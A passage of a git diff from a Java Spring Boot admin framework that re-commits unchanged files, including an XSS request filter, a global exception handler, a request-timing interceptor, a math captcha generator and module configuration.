SpringUtils.getBean(XssProperties.class); + excludes.addAll(properties.getExcludeUrls()); + } + + @Override + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) + throws IOException, ServletException { + HttpServletRequest req = (HttpServletRequest) request; + HttpServletResponse resp = (HttpServletResponse) response; + if (handleExcludeURL(req, resp)) { + chain.doFilter(request, response); + return; + } + XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request); + chain.doFilter(xssRequest, response); + } + + private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) { + String url = request.getServletPath(); + String method = request.getMethod(); + // GET DELETE 不过滤 + if (method == null || HttpMethod.GET.matches(method) || HttpMethod.DELETE.matches(method)) { + return true; + } + return StringUtils.matches(url, excludes); + } + + @Override + public void destroy() { + + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssHttpServletRequestWrapper.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssHttpServletRequestWrapper.java index 914e549..75cf49c 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssHttpServletRequestWrapper.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/filter/XssHttpServletRequestWrapper.java @@ -1,134 +1,134 @@ -package org.dromara.common.web.filter; - -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.StrUtil; -import cn.hutool.http.HtmlUtil; -import jakarta.servlet.ReadListener; -import jakarta.servlet.ServletInputStream; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletRequestWrapper; -import org.dromara.common.core.utils.StringUtils; -import org.springframework.http.HttpHeaders; -import org.springframework.http.MediaType; - -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.nio.charset.StandardCharsets; -import java.util.HashMap; -import java.util.Map; - -/** - * XSS过滤处理 - * - * @author ruoyi - */ -public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { - /** - * @param request - */ - public XssHttpServletRequestWrapper(HttpServletRequest request) { - super(request); - } - - @Override - public String getParameter(String name) { - String value = super.getParameter(name); - if (value == null) { - return null; - } - return HtmlUtil.cleanHtmlTag(value).trim(); - } - - @Override - public Map getParameterMap() { - Map valueMap = super.getParameterMap(); - if (MapUtil.isEmpty(valueMap)) { - return valueMap; - } - // 避免某些容器不允许改参数的情况 copy一份重新改 - Map map = new HashMap<>(valueMap.size()); - map.putAll(valueMap); - for (Map.Entry entry : map.entrySet()) { - String[] values = entry.getValue(); - if (values != null) { - int length = values.length; - String[] escapseValues = new String[length]; - for (int i = 0; i < length; i++) { - // 防xss攻击和过滤前后空格 - escapseValues[i] = HtmlUtil.cleanHtmlTag(values[i]).trim(); - } - map.put(entry.getKey(), escapseValues); - } - } - return map; - } - - @Override - public String[] getParameterValues(String name) { - String[] values = super.getParameterValues(name); - if (ArrayUtil.isEmpty(values)) { - return values; - } - int length = values.length; - String[] escapseValues = new String[length]; - for (int i = 0; i < length; i++) { - // 防xss攻击和过滤前后空格 - escapseValues[i] = HtmlUtil.cleanHtmlTag(values[i]).trim(); - } - return escapseValues; - } - - @Override - public ServletInputStream getInputStream() throws IOException { - // 非json类型,直接返回 - if (!isJsonRequest()) { - return super.getInputStream(); - } - - // 为空,直接返回 - String json = StrUtil.str(IoUtil.readBytes(super.getInputStream(), false), StandardCharsets.UTF_8); - if (StringUtils.isEmpty(json)) { - return super.getInputStream(); - } - - // xss过滤 - json = HtmlUtil.cleanHtmlTag(json).trim(); - byte[] jsonBytes = json.getBytes(StandardCharsets.UTF_8); - final ByteArrayInputStream bis = IoUtil.toStream(jsonBytes); - return new ServletInputStream() { - @Override - public boolean isFinished() { - return true; - } - - @Override - public boolean isReady() { - return true; - } - - @Override - public int available() throws IOException { - return jsonBytes.length; - } - - @Override - public void setReadListener(ReadListener readListener) { - } - - @Override - public int read() throws IOException { - return bis.read(); - } - }; - } - - /** - * 是否是Json请求 - */ - public boolean isJsonRequest() { - String header = super.getHeader(HttpHeaders.CONTENT_TYPE); - return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); - } -} +package org.dromara.common.web.filter; + +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.StrUtil; +import cn.hutool.http.HtmlUtil; +import jakarta.servlet.ReadListener; +import jakarta.servlet.ServletInputStream; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletRequestWrapper; +import org.dromara.common.core.utils.StringUtils; +import org.springframework.http.HttpHeaders; +import org.springframework.http.MediaType; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.util.HashMap; +import java.util.Map; + +/** + * XSS过滤处理 + * + * @author ruoyi + */ +public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { + /** + * @param request + */ + public XssHttpServletRequestWrapper(HttpServletRequest request) { + super(request); + } + + @Override + public String getParameter(String name) { + String value = super.getParameter(name); + if (value == null) { + return null; + } + return HtmlUtil.cleanHtmlTag(value).trim(); + } + + @Override + public Map getParameterMap() { + Map valueMap = super.getParameterMap(); + if (MapUtil.isEmpty(valueMap)) { + return valueMap; + } + // 避免某些容器不允许改参数的情况 copy一份重新改 + Map map = new HashMap<>(valueMap.size()); + map.putAll(valueMap); + for (Map.Entry entry : map.entrySet()) { + String[] values = entry.getValue(); + if (values != null) { + int length = values.length; + String[] escapseValues = new String[length]; + for (int i = 0; i < length; i++) { + // 防xss攻击和过滤前后空格 + escapseValues[i] = HtmlUtil.cleanHtmlTag(values[i]).trim(); + } + map.put(entry.getKey(), escapseValues); + } + } + return map; + } + + @Override + public String[] getParameterValues(String name) { + String[] values = super.getParameterValues(name); + if (ArrayUtil.isEmpty(values)) { + return values; + } + int length = values.length; + String[] escapseValues = new String[length]; + for (int i = 0; i < length; i++) { + // 防xss攻击和过滤前后空格 + escapseValues[i] = HtmlUtil.cleanHtmlTag(values[i]).trim(); + } + return escapseValues; + } + + @Override + public ServletInputStream getInputStream() throws IOException { + // 非json类型,直接返回 + if (!isJsonRequest()) { + return super.getInputStream(); + } + + // 为空,直接返回 + String json = StrUtil.str(IoUtil.readBytes(super.getInputStream(), false), StandardCharsets.UTF_8); + if (StringUtils.isEmpty(json)) { + return super.getInputStream(); + } + + // xss过滤 + json = HtmlUtil.cleanHtmlTag(json).trim(); + byte[] jsonBytes = json.getBytes(StandardCharsets.UTF_8); + final ByteArrayInputStream bis = IoUtil.toStream(jsonBytes); + return new ServletInputStream() { + @Override + public boolean isFinished() { + return true; + } + + @Override + public boolean isReady() { + return true; + } + + @Override + public int available() throws IOException { + return jsonBytes.length; + } + + @Override + public void setReadListener(ReadListener readListener) { + } + + @Override + public int read() throws IOException { + return bis.read(); + } + }; + } + + /** + * 是否是Json请求 + */ + public boolean isJsonRequest() { + String header = super.getHeader(HttpHeaders.CONTENT_TYPE); + return StringUtils.startsWithIgnoreCase(header, MediaType.APPLICATION_JSON_VALUE); + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/handler/GlobalExceptionHandler.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/handler/GlobalExceptionHandler.java index 0a60fbc..0b11fd5 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/handler/GlobalExceptionHandler.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/handler/GlobalExceptionHandler.java @@ -1,183 +1,183 @@ -package org.dromara.common.web.handler; - -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.http.HttpStatus; -import jakarta.servlet.ServletException; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.validation.ConstraintViolation; -import jakarta.validation.ConstraintViolationException; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.domain.R; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.exception.SseException; -import org.dromara.common.core.exception.base.BaseException; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.springframework.context.support.DefaultMessageSourceResolvable; -import org.springframework.validation.BindException; -import org.springframework.web.HttpRequestMethodNotSupportedException; -import org.springframework.web.bind.MethodArgumentNotValidException; -import org.springframework.web.bind.MissingPathVariableException; -import org.springframework.web.bind.annotation.ExceptionHandler; -import org.springframework.web.bind.annotation.ResponseStatus; -import org.springframework.web.bind.annotation.RestControllerAdvice; -import org.springframework.web.method.annotation.MethodArgumentTypeMismatchException; -import org.springframework.web.servlet.NoHandlerFoundException; - -import java.io.IOException; - -/** - * 全局异常处理器 - * - * @author Lion Li - */ -@Slf4j -@RestControllerAdvice -public class GlobalExceptionHandler { - - /** - * 请求方式不支持 - */ - @ExceptionHandler(HttpRequestMethodNotSupportedException.class) - public R handleHttpRequestMethodNotSupported(HttpRequestMethodNotSupportedException e, - HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',不支持'{}'请求", requestURI, e.getMethod()); - return R.fail(HttpStatus.HTTP_BAD_METHOD, e.getMessage()); - } - - /** - * 业务异常 - */ - @ExceptionHandler(ServiceException.class) - public R handleServiceException(ServiceException e, HttpServletRequest request) { - log.error(e.getMessage()); - Integer code = e.getCode(); - return ObjectUtil.isNotNull(code) ? R.fail(code, e.getMessage()) : R.fail(e.getMessage()); - } - - /** - * 认证失败 - */ - @ResponseStatus(org.springframework.http.HttpStatus.UNAUTHORIZED) - @ExceptionHandler(SseException.class) - public String handleNotLoginException(SseException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.debug("请求地址'{}',认证失败'{}',无法访问系统资源", requestURI, e.getMessage()); - return JsonUtils.toJsonString(R.fail(HttpStatus.HTTP_UNAUTHORIZED, "认证失败,无法访问系统资源")); - } - - /** - * servlet异常 - */ - @ExceptionHandler(ServletException.class) - public R handleServletException(ServletException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',发生未知异常.", requestURI, e); - return R.fail(e.getMessage()); - } - - /** - * 业务异常 - */ - @ExceptionHandler(BaseException.class) - public R handleBaseException(BaseException e, HttpServletRequest request) { - log.error(e.getMessage()); - return R.fail(e.getMessage()); - } - - /** - * 请求路径中缺少必需的路径变量 - */ - @ExceptionHandler(MissingPathVariableException.class) - public R handleMissingPathVariableException(MissingPathVariableException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求路径中缺少必需的路径变量'{}',发生系统异常.", requestURI); - return R.fail(String.format("请求路径中缺少必需的路径变量[%s]", e.getVariableName())); - } - - /** - * 请求参数类型不匹配 - */ - @ExceptionHandler(MethodArgumentTypeMismatchException.class) - public R handleMethodArgumentTypeMismatchException(MethodArgumentTypeMismatchException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求参数类型不匹配'{}',发生系统异常.", requestURI); - return R.fail(String.format("请求参数类型不匹配,参数[%s]要求类型为:'%s',但输入值为:'%s'", e.getName(), e.getRequiredType().getName(), e.getValue())); - } - - /** - * 找不到路由 - */ - @ExceptionHandler(NoHandlerFoundException.class) - public R handleNoHandlerFoundException(NoHandlerFoundException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}'不存在.", requestURI); - return R.fail(HttpStatus.HTTP_NOT_FOUND, e.getMessage()); - } - - /** - * 拦截未知的运行时异常 - */ - @ResponseStatus(org.springframework.http.HttpStatus.INTERNAL_SERVER_ERROR) - @ExceptionHandler(IOException.class) - public void handleRuntimeException(IOException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - if (requestURI.contains("sse")) { - // sse 经常性连接中断 例如关闭浏览器 直接屏蔽 - return; - } - log.error("请求地址'{}',连接中断", requestURI, e); - } - - /** - * 拦截未知的运行时异常 - */ - @ExceptionHandler(RuntimeException.class) - public R handleRuntimeException(RuntimeException e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',发生未知异常.", requestURI, e); - return R.fail(e.getMessage()); - } - - /** - * 系统异常 - */ - @ExceptionHandler(Exception.class) - public R handleException(Exception e, HttpServletRequest request) { - String requestURI = request.getRequestURI(); - log.error("请求地址'{}',发生系统异常.", requestURI, e); - return R.fail(e.getMessage()); - } - - /** - * 自定义验证异常 - */ - @ExceptionHandler(BindException.class) - public R handleBindException(BindException e) { - log.error(e.getMessage()); - String message = StreamUtils.join(e.getAllErrors(), DefaultMessageSourceResolvable::getDefaultMessage, ", "); - return R.fail(message); - } - - /** - * 自定义验证异常 - */ - @ExceptionHandler(ConstraintViolationException.class) - public R constraintViolationException(ConstraintViolationException e) { - log.error(e.getMessage()); - String message = StreamUtils.join(e.getConstraintViolations(), ConstraintViolation::getMessage, ", "); - return R.fail(message); - } - - /** - * 自定义验证异常 - */ - @ExceptionHandler(MethodArgumentNotValidException.class) - public R handleMethodArgumentNotValidException(MethodArgumentNotValidException e) { - log.error(e.getMessage()); - String message = StreamUtils.join(e.getBindingResult().getAllErrors(), DefaultMessageSourceResolvable::getDefaultMessage, ", "); - return R.fail(message); - } - -} +package org.dromara.common.web.handler; + +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.http.HttpStatus; +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.validation.ConstraintViolation; +import jakarta.validation.ConstraintViolationException; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.domain.R; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.exception.SseException; +import org.dromara.common.core.exception.base.BaseException; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.springframework.context.support.DefaultMessageSourceResolvable; +import org.springframework.validation.BindException; +import org.springframework.web.HttpRequestMethodNotSupportedException; +import org.springframework.web.bind.MethodArgumentNotValidException; +import org.springframework.web.bind.MissingPathVariableException; +import org.springframework.web.bind.annotation.ExceptionHandler; +import org.springframework.web.bind.annotation.ResponseStatus; +import org.springframework.web.bind.annotation.RestControllerAdvice; +import org.springframework.web.method.annotation.MethodArgumentTypeMismatchException; +import org.springframework.web.servlet.NoHandlerFoundException; + +import java.io.IOException; + +/** + * 全局异常处理器 + * + * @author Lion Li + */ +@Slf4j +@RestControllerAdvice +public class GlobalExceptionHandler { + + /** + * 请求方式不支持 + */ + @ExceptionHandler(HttpRequestMethodNotSupportedException.class) + public R handleHttpRequestMethodNotSupported(HttpRequestMethodNotSupportedException e, + HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',不支持'{}'请求", requestURI, e.getMethod()); + return R.fail(HttpStatus.HTTP_BAD_METHOD, e.getMessage()); + } + + /** + * 业务异常 + */ + @ExceptionHandler(ServiceException.class) + public R handleServiceException(ServiceException e, HttpServletRequest request) { + log.error(e.getMessage()); + Integer code = e.getCode(); + return ObjectUtil.isNotNull(code) ? R.fail(code, e.getMessage()) : R.fail(e.getMessage()); + } + + /** + * 认证失败 + */ + @ResponseStatus(org.springframework.http.HttpStatus.UNAUTHORIZED) + @ExceptionHandler(SseException.class) + public String handleNotLoginException(SseException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.debug("请求地址'{}',认证失败'{}',无法访问系统资源", requestURI, e.getMessage()); + return JsonUtils.toJsonString(R.fail(HttpStatus.HTTP_UNAUTHORIZED, "认证失败,无法访问系统资源")); + } + + /** + * servlet异常 + */ + @ExceptionHandler(ServletException.class) + public R handleServletException(ServletException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生未知异常.", requestURI, e); + return R.fail(e.getMessage()); + } + + /** + * 业务异常 + */ + @ExceptionHandler(BaseException.class) + public R handleBaseException(BaseException e, HttpServletRequest request) { + log.error(e.getMessage()); + return R.fail(e.getMessage()); + } + + /** + * 请求路径中缺少必需的路径变量 + */ + @ExceptionHandler(MissingPathVariableException.class) + public R handleMissingPathVariableException(MissingPathVariableException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求路径中缺少必需的路径变量'{}',发生系统异常.", requestURI); + return R.fail(String.format("请求路径中缺少必需的路径变量[%s]", e.getVariableName())); + } + + /** + * 请求参数类型不匹配 + */ + @ExceptionHandler(MethodArgumentTypeMismatchException.class) + public R handleMethodArgumentTypeMismatchException(MethodArgumentTypeMismatchException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求参数类型不匹配'{}',发生系统异常.", requestURI); + return R.fail(String.format("请求参数类型不匹配,参数[%s]要求类型为:'%s',但输入值为:'%s'", e.getName(), e.getRequiredType().getName(), e.getValue())); + } + + /** + * 找不到路由 + */ + @ExceptionHandler(NoHandlerFoundException.class) + public R handleNoHandlerFoundException(NoHandlerFoundException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}'不存在.", requestURI); + return R.fail(HttpStatus.HTTP_NOT_FOUND, e.getMessage()); + } + + /** + * 拦截未知的运行时异常 + */ + @ResponseStatus(org.springframework.http.HttpStatus.INTERNAL_SERVER_ERROR) + @ExceptionHandler(IOException.class) + public void handleRuntimeException(IOException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + if (requestURI.contains("sse")) { + // sse 经常性连接中断 例如关闭浏览器 直接屏蔽 + return; + } + log.error("请求地址'{}',连接中断", requestURI, e); + } + + /** + * 拦截未知的运行时异常 + */ + @ExceptionHandler(RuntimeException.class) + public R handleRuntimeException(RuntimeException e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生未知异常.", requestURI, e); + return R.fail(e.getMessage()); + } + + /** + * 系统异常 + */ + @ExceptionHandler(Exception.class) + public R handleException(Exception e, HttpServletRequest request) { + String requestURI = request.getRequestURI(); + log.error("请求地址'{}',发生系统异常.", requestURI, e); + return R.fail(e.getMessage()); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(BindException.class) + public R handleBindException(BindException e) { + log.error(e.getMessage()); + String message = StreamUtils.join(e.getAllErrors(), DefaultMessageSourceResolvable::getDefaultMessage, ", "); + return R.fail(message); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(ConstraintViolationException.class) + public R constraintViolationException(ConstraintViolationException e) { + log.error(e.getMessage()); + String message = StreamUtils.join(e.getConstraintViolations(), ConstraintViolation::getMessage, ", "); + return R.fail(message); + } + + /** + * 自定义验证异常 + */ + @ExceptionHandler(MethodArgumentNotValidException.class) + public R handleMethodArgumentNotValidException(MethodArgumentNotValidException e) { + log.error(e.getMessage()); + String message = StreamUtils.join(e.getBindingResult().getAllErrors(), DefaultMessageSourceResolvable::getDefaultMessage, ", "); + return R.fail(message); + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/interceptor/PlusWebInvokeTimeInterceptor.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/interceptor/PlusWebInvokeTimeInterceptor.java index 7cb6b78..da9a1c4 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/interceptor/PlusWebInvokeTimeInterceptor.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/interceptor/PlusWebInvokeTimeInterceptor.java @@ -1,89 +1,89 @@ -package org.dromara.common.web.interceptor; - -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.lang3.time.StopWatch; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.web.filter.RepeatedlyRequestWrapper; -import org.springframework.http.MediaType; -import org.springframework.web.servlet.HandlerInterceptor; -import org.springframework.web.servlet.ModelAndView; - -import java.io.BufferedReader; -import java.util.Map; - -/** - * web的调用时间统计拦截器 - * - * @author Lion Li - * @since 3.3.0 - */ -@Slf4j -public class PlusWebInvokeTimeInterceptor implements HandlerInterceptor { - - private final static ThreadLocal KEY_CACHE = new ThreadLocal<>(); - - @Override - public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { - String url = request.getMethod() + " " + request.getRequestURI(); - - // 打印请求参数 - if (isJsonRequest(request)) { - String jsonParam = ""; - if (request instanceof RepeatedlyRequestWrapper) { - BufferedReader reader = request.getReader(); - jsonParam = IoUtil.read(reader); - } - log.info("[PLUS]开始请求 => URL[{}],参数类型[json],参数:[{}]", url, jsonParam); - } else { - Map parameterMap = request.getParameterMap(); - if (MapUtil.isNotEmpty(parameterMap)) { - String parameters = JsonUtils.toJsonString(parameterMap); - log.info("[PLUS]开始请求 => URL[{}],参数类型[param],参数:[{}]", url, parameters); - } else { - log.info("[PLUS]开始请求 => URL[{}],无参数", url); - } - } - - StopWatch stopWatch = new StopWatch(); - KEY_CACHE.set(stopWatch); - stopWatch.start(); - - return true; - } - - @Override - public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { - - } - - @Override - public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { - StopWatch stopWatch = KEY_CACHE.get(); - if (ObjectUtil.isNotNull(stopWatch)) { - stopWatch.stop(); - log.info("[PLUS]结束请求 => URL[{}],耗时:[{}]毫秒", request.getMethod() + " " + request.getRequestURI(), stopWatch.getTime()); - KEY_CACHE.remove(); - } - } - - /** - * 判断本次请求的数据类型是否为json - * - * @param request request - * @return boolean - */ - private boolean isJsonRequest(HttpServletRequest request) { - String contentType = request.getContentType(); - if (contentType != null) { - return StringUtils.startsWithIgnoreCase(contentType, MediaType.APPLICATION_JSON_VALUE); - } - return false; - } - -} +package org.dromara.common.web.interceptor; + +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.time.StopWatch; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.web.filter.RepeatedlyRequestWrapper; +import org.springframework.http.MediaType; +import org.springframework.web.servlet.HandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import java.io.BufferedReader; +import java.util.Map; + +/** + * web的调用时间统计拦截器 + * + * @author Lion Li + * @since 3.3.0 + */ +@Slf4j +public class PlusWebInvokeTimeInterceptor implements HandlerInterceptor { + + private final static ThreadLocal KEY_CACHE = new ThreadLocal<>(); + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + String url = request.getMethod() + " " + request.getRequestURI(); + + // 打印请求参数 + if (isJsonRequest(request)) { + String jsonParam = ""; + if (request instanceof RepeatedlyRequestWrapper) { + BufferedReader reader = request.getReader(); + jsonParam = IoUtil.read(reader); + } + log.info("[PLUS]开始请求 => URL[{}],参数类型[json],参数:[{}]", url, jsonParam); + } else { + Map parameterMap = request.getParameterMap(); + if (MapUtil.isNotEmpty(parameterMap)) { + String parameters = JsonUtils.toJsonString(parameterMap); + log.info("[PLUS]开始请求 => URL[{}],参数类型[param],参数:[{}]", url, parameters); + } else { + log.info("[PLUS]开始请求 => URL[{}],无参数", url); + } + } + + StopWatch stopWatch = new StopWatch(); + KEY_CACHE.set(stopWatch); + stopWatch.start(); + + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + StopWatch stopWatch = KEY_CACHE.get(); + if (ObjectUtil.isNotNull(stopWatch)) { + stopWatch.stop(); + log.info("[PLUS]结束请求 => URL[{}],耗时:[{}]毫秒", request.getMethod() + " " + request.getRequestURI(), stopWatch.getTime()); + KEY_CACHE.remove(); + } + } + + /** + * 判断本次请求的数据类型是否为json + * + * @param request request + * @return boolean + */ + private boolean isJsonRequest(HttpServletRequest request) { + String contentType = request.getContentType(); + if (contentType != null) { + return StringUtils.startsWithIgnoreCase(contentType, MediaType.APPLICATION_JSON_VALUE); + } + return false; + } + +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/utils/UnsignedMathGenerator.java b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/utils/UnsignedMathGenerator.java index a400cff..3b47a2f 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/utils/UnsignedMathGenerator.java +++ b/ruoyi-common/ruoyi-common-web/src/main/java/org/dromara/common/web/utils/UnsignedMathGenerator.java @@ -1,88 +1,88 @@ -package org.dromara.common.web.utils; - -import cn.hutool.captcha.generator.CodeGenerator; -import cn.hutool.core.math.Calculator; -import cn.hutool.core.util.CharUtil; -import cn.hutool.core.util.RandomUtil; -import org.dromara.common.core.utils.StringUtils; - -import java.io.Serial; - -/** - * 无符号计算生成器 - * - * @author Lion Li - */ -public class UnsignedMathGenerator implements CodeGenerator { - - @Serial - private static final long serialVersionUID = -5514819971774091076L; - - private static final String OPERATORS = "+-*"; - - /** - * 参与计算数字最大长度 - */ - private final int numberLength; - - /** - * 构造 - */ - public UnsignedMathGenerator() { - this(2); - } - - /** - * 构造 - * - * @param numberLength 参与计算最大数字位数 - */ - public UnsignedMathGenerator(int numberLength) { - this.numberLength = numberLength; - } - - @Override - public String generate() { - final int limit = getLimit(); - int a = RandomUtil.randomInt(limit); - int b = RandomUtil.randomInt(limit); - String max = Integer.toString(Math.max(a,b)); - String min = Integer.toString(Math.min(a,b)); - max = StringUtils.rightPad(max, this.numberLength, CharUtil.SPACE); - min = StringUtils.rightPad(min, this.numberLength, CharUtil.SPACE); - - return max + RandomUtil.randomChar(OPERATORS) + min + '='; - } - - @Override - public boolean verify(String code, String userInputCode) { - int result; - try { - result = Integer.parseInt(userInputCode); - } catch (NumberFormatException e) { - // 用户输入非数字 - return false; - } - - final int calculateResult = (int) Calculator.conversion(code); - return result == calculateResult; - } - - /** - * 获取验证码长度 - * - * @return 验证码长度 - */ - public int getLength() { - return this.numberLength * 2 + 2; - } - - /** - * 根据长度获取参与计算数字最大值 - * - * @return 最大值 - */ - private int getLimit() { - return Integer.parseInt("1" + StringUtils.repeat('0', this.numberLength)); - } -} +package org.dromara.common.web.utils; + +import cn.hutool.captcha.generator.CodeGenerator; +import cn.hutool.core.math.Calculator; +import cn.hutool.core.util.CharUtil; +import cn.hutool.core.util.RandomUtil; +import org.dromara.common.core.utils.StringUtils; + +import java.io.Serial; + +/** + * 无符号计算生成器 + * + * @author Lion Li + */ +public class UnsignedMathGenerator implements CodeGenerator { + + @Serial + private static final long serialVersionUID = -5514819971774091076L; + + private static final String OPERATORS = "+-*"; + + /** + * 参与计算数字最大长度 + */ + private final int numberLength; + + /** + * 构造 + */ + public UnsignedMathGenerator() { + this(2); + } + + /** + * 构造 + * + * @param numberLength 参与计算最大数字位数 + */ + public UnsignedMathGenerator(int numberLength) { + this.numberLength = numberLength; + } + + @Override + public String generate() { + final int limit = getLimit(); + int a = RandomUtil.randomInt(limit); + int b = RandomUtil.randomInt(limit); + String max = Integer.toString(Math.max(a,b)); + String min = Integer.toString(Math.min(a,b)); + max = StringUtils.rightPad(max, this.numberLength, CharUtil.SPACE); + min = StringUtils.rightPad(min, this.numberLength, CharUtil.SPACE); + + return max + RandomUtil.randomChar(OPERATORS) + min + '='; + } + + @Override + public boolean verify(String code, String userInputCode) { + int result; + try { + result = Integer.parseInt(userInputCode); + } catch (NumberFormatException e) { + // 用户输入非数字 + return false; + } + + final int calculateResult = (int) Calculator.conversion(code); + return result == calculateResult; + } + + /** + * 获取验证码长度 + * + * @return 验证码长度 + */ + public int getLength() { + return this.numberLength * 2 + 2; + } + + /** + * 根据长度获取参与计算数字最大值 + * + * @return 最大值 + */ + private int getLimit() { + return Integer.parseInt("1" + StringUtils.repeat('0', this.numberLength)); + } +} diff --git a/ruoyi-common/ruoyi-common-web/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-web/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index fc10a36..7a03eca 100644 --- a/ruoyi-common/ruoyi-common-web/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-web/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1,5 +1,5 @@ -org.dromara.common.web.config.CaptchaConfig -org.dromara.common.web.config.FilterConfig -org.dromara.common.web.config.I18nConfig -org.dromara.common.web.config.ResourcesConfig -org.dromara.common.web.config.UndertowConfig +org.dromara.common.web.config.CaptchaConfig +org.dromara.common.web.config.FilterConfig +org.dromara.common.web.config.I18nConfig +org.dromara.common.web.config.ResourcesConfig +org.dromara.common.web.config.UndertowConfig diff --git a/ruoyi-common/ruoyi-common-websocket/pom.xml b/ruoyi-common/ruoyi-common-websocket/pom.xml index 0587cd7..4d966da 100644 --- a/ruoyi-common/ruoyi-common-websocket/pom.xml +++ b/ruoyi-common/ruoyi-common-websocket/pom.xml @@ -1,46 +1,46 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-websocket - - - ruoyi-common-websocket 模块 - - - - - org.dromara - ruoyi-common-core - - - org.dromara - ruoyi-common-redis - - - org.dromara - ruoyi-common-satoken - - - org.dromara - ruoyi-common-json - - - org.springframework.boot - spring-boot-starter-websocket - - - org.springframework.boot - spring-boot-starter-tomcat - - - - 